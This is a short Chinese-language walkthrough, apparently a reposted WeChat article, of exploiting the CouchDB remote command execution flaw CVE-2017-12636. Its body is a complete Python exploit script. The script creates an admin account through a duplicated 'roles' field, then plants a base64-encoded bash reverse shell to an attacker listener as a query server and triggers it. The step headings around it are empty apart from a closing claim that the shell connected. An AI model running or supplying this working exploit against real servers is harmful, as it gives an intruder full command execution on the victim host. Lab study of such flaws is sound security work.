Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建

二、访问

三、构造payload

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://192.168.217.128:5984'    # 目标ip
command = rb"""sh -i >& /dev/tcp/192.168.217.128/5566 0>&1""" # 这里的ip为监听机ip也就是攻击机
version = 1
session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

四、开启监听

五、运行脚本

六、查看效果

如上图所示即反弹shell成功！

原文始发于微信公众号（黄公子学安全）：Couchdb 任意命令执行漏洞(CVE-2017-12636)